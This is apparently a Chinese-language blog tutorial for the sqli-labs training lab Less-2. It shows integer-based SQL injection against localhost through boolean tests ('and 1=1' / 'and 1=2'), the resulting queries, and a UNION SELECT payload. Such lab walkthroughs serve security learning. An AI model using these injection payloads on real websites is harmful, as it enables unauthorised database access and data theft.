sqli-labs:Less-2

在Less-1实验中,我们经过测试发现是字符型注入方式,而Less-2实验中是整型注入方式

我们用上一节的测试方式来测试:
输入http://localhost/Less-2/?id=1 and 1=1
sqli-labs:Less-2
页面正常

输入http://localhost/Less-2/?id=1 and 1=2
sqli-labs:Less-2
页面不能正常显示

通过Less-1的知识,我们知道Less-2是一个整型注入,SQL语句为:
select username, password from users where id=1 and 1=1;
select username, password from users where id=1 and 1=2;
第1个语句访问是正常的,而第二个语句无任何返回

接下来用union构造的时候就要改为:
http://localhost/Less-2/?id=-1 union select 1,2,3 %23
sqli-labs:Less-2
这里就不要再加单引号了

上一篇:Sqli-labs Background-4 数据库增删改函数介绍


下一篇:SQL注入漏洞详解(一)